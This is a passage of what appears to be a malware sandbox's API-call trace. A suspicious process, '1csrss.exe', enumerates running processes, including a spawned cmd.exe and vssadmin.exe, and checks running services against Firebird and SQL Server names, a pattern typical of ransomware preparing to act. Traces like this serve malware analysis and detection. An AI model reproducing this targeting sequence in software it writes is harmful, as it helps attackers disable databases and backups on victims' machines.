dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0282.758] lstrlenW (lpString="smss.exe") returned 8 [0282.758] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.759] lstrlenW (lpString="csrss.exe") returned 9 [0282.759] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0282.760] lstrlenW (lpString="wininit.exe") returned 11 [0282.760] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.760] lstrlenW (lpString="csrss.exe") returned 9 [0282.760] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0282.761] lstrlenW (lpString="winlogon.exe") returned 12 [0282.761] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0282.762] lstrlenW (lpString="services.exe") returned 12 [0282.762] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0282.762] lstrlenW (lpString="lsass.exe") returned 9 [0282.762] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0282.763] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0282.763] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0282.764] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0282.764] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.764] lstrlenW (lpString="svchost.exe") returned 11 [0282.764] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.765] lstrlenW (lpString="svchost.exe") returned 11 [0282.765] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0282.766] lstrlenW (lpString="dwm.exe") returned 7 [0282.766] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.766] lstrlenW (lpString="svchost.exe") returned 11 [0282.766] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.767] lstrlenW (lpString="svchost.exe") returned 11 [0282.767] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.768] lstrlenW (lpString="svchost.exe") returned 11 [0282.768] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.768] lstrlenW (lpString="svchost.exe") returned 11 [0282.768] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.769] lstrlenW (lpString="svchost.exe") returned 11 [0282.769] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.770] lstrlenW (lpString="svchost.exe") returned 11 [0282.770] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.770] lstrlenW (lpString="svchost.exe") returned 11 [0282.770] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.771] lstrlenW (lpString="svchost.exe") returned 11 [0282.771] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.772] lstrlenW (lpString="svchost.exe") returned 11 [0282.772] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.772] lstrlenW (lpString="svchost.exe") returned 11 [0282.772] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0282.773] lstrlenW (lpString="spoolsv.exe") returned 11 [0282.773] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0282.774] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0282.774] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0282.774] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0282.775] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0282.775] lstrlenW (lpString="Memory Compression") returned 18 [0282.775] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.776] lstrlenW (lpString="svchost.exe") returned 11 [0282.776] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0282.777] lstrlenW (lpString="audiodg.exe") returned 11 [0282.777] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0282.777] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0282.777] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0282.778] lstrlenW (lpString="sihost.exe") returned 10 [0282.778] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.779] lstrlenW (lpString="svchost.exe") returned 11 [0282.779] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0282.780] lstrlenW (lpString="taskhostw.exe") returned 13 [0282.780] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0282.780] lstrlenW (lpString="msoia.exe") returned 9 [0282.780] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0282.781] lstrlenW (lpString="explorer.exe") returned 12 [0282.781] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0282.782] lstrlenW (lpString="SearchUI.exe") returned 12 [0282.782] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0282.782] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0282.782] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0282.783] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0282.783] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0282.784] lstrlenW (lpString="1csrss.exe") returned 10 [0282.784] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.784] lstrlenW (lpString="svchost.exe") returned 11 [0282.784] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0282.785] lstrlenW (lpString="cmd.exe") returned 7 [0282.785] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0282.786] lstrlenW (lpString="conhost.exe") returned 11 [0282.786] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0282.786] lstrlenW (lpString="vssadmin.exe") returned 12 [0282.786] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0282.787] CloseHandle (hObject=0x3dc) returned 1 [0282.788] Sleep (dwMilliseconds=0x1f4) [0283.328] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7dde58 [0283.329] EnumServicesStatusExW (in: hSCManager=0x7dde58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0283.329] GetLastError () returned 0xea [0283.329] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x7d6980 [0283.329] EnumServicesStatusExW (in: hSCManager=0x7dde58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7d6980, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7d6980, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0283.330] CloseServiceHandle (hSCObject=0x7dde58) returned 1 [0283.330] lstrlenW (lpString="AppXSvc") returned 7 [0283.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0283.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0283.330] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0283.330] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0283.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0283.330] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0283.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0283.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0283.330] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0283.330] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0283.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0283.330] lstrlenW (lpString="Audiosrv") returned 8 [0283.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0283.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0283.330] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0283.330] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0283.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0283.330] lstrlenW (lpString="BFE") returned 3 [0283.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0283.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0283.330] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0283.331] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0283.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0283.331] lstrlenW (lpString="BITS") returned 4 [0283.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0283.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0283.331] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0283.331] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0283.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0283.331] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0283.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0283.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0283.331] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0283.331] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0283.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0283.331] lstrlenW (lpString="CDPSvc") returned 6 [0283.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0283.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0283.331] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0283.331] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0283.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0283.331] lstrlenW (lpString="ClickToRunSvc") returned 13 [0283.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0283.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0283.331] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0283.331] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0283.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0283.331] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0283.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0283.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0283.331] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0283.331] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0283.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0283.331] lstrlenW (lpString="CryptSvc") returned 8 [0283.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0283.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0283.332] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0283.332] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0283.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0283.332] lstrlenW (lpString="DcomLaunch") returned 10 [0283.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0283.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0283.332] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0283.332] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0283.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0283.332] lstrlenW (lpString="DeviceAssociationService") returned 24 [0283.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0283.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0283.332] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0283.332] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0283.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0283.332] lstrlenW (lpString="Dhcp") returned 4 [0283.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0283.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0283.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0283.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0283.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0283.332] lstrlenW (lpString="Dnscache") returned 8 [0283.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0283.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0283.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0283.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0283.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0283.332] lstrlenW (lpString="DPS") returned 3 [0283.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0283.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0283.332] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0283.332] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0283.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0283.333] lstrlenW (lpString="DusmSvc") returned 7 [0283.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0283.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0283.333] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0283.333] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0283.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0283.333] lstrlenW (lpString="EventLog") returned 8 [0283.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0283.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0283.333] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0283.333] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0283.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0283.333] lstrlenW (lpString="EventSystem") returned 11 [0283.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0283.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0283.333] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0283.333] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0283.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0283.333] lstrlenW (lpString="FontCache") returned 9 [0283.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0283.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0283.333] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0283.333] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0283.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0283.333] lstrlenW (lpString="gpsvc") returned 5 [0283.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0283.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0283.333] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0283.333] 